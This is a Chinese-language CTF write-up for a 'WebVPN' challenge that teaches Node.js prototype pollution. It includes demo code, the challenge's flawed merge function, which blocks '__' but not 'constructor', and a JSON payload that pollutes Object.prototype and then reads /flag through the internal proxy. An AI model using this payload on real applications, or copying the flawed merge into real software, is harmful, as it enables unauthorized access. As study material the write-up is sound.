[js原型链污染]WebVPN wp

发布于 2024-07-27  151 次阅读


知识:nodejs的原型链污染

nodejs中每一个对象都对应一个原型和构造方法,其原型也有自己的原型,以此类推,直到null。
取a.__proto__能获得a的原型
取a.constructor能获得a的构造方法
取构造方法的属性prototype能获得其原型
因此a["constructor"].prototype就是a的原型。

function Person(name) {
  this.name = name;
}

var person = new Person("Alice"); 
console.log(person["constructor"]); 

image

var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};
console.log(userStorage["__proto__"]);
console.log(userStorage["constructor"]);
console.log((userStorage["constructor"])["prototype"]);

image
原型链污染:在传入的 用于修改的键名和键值都可控时,如果能为对象的原型加上一条属性,那么访问对象时就会访问到添加的属性,达到污染效果。

var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

console.log(userStorage["__proto__"]);
userStorage.__proto__["hello"]="world";
console.log(userStorage["hello"]);

image

var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

console.log(userStorage["__proto__"]);
console.log(userStorage["constructor"]);
console.log(userStorage["username"].info.constructor);
//如果将object构造函数的原型添加属性的话,全局的变量都能访问此属性

userStorage["username"].info.constructor.prototype["127.0.0.1"]=true;
console.log(userStorage["username"]["strategy"]["127.0.0.1"]);

image
题目关键:

var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}
// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

目标是在userStorage.username.strategy中能访问到127.0.0.1:true
利用/user/info接口update函数的原型链污染,传入payload:

{
"constructor":{"prototype":{"127.0.0.1":true}}
}

即可修改object构造函数的原型,添加属性"127.0.0.1":true
访问?proxy=127.0.0.1:3000/flag即可。

A web ctfer from 0RAYS
最后更新于 2024-07-27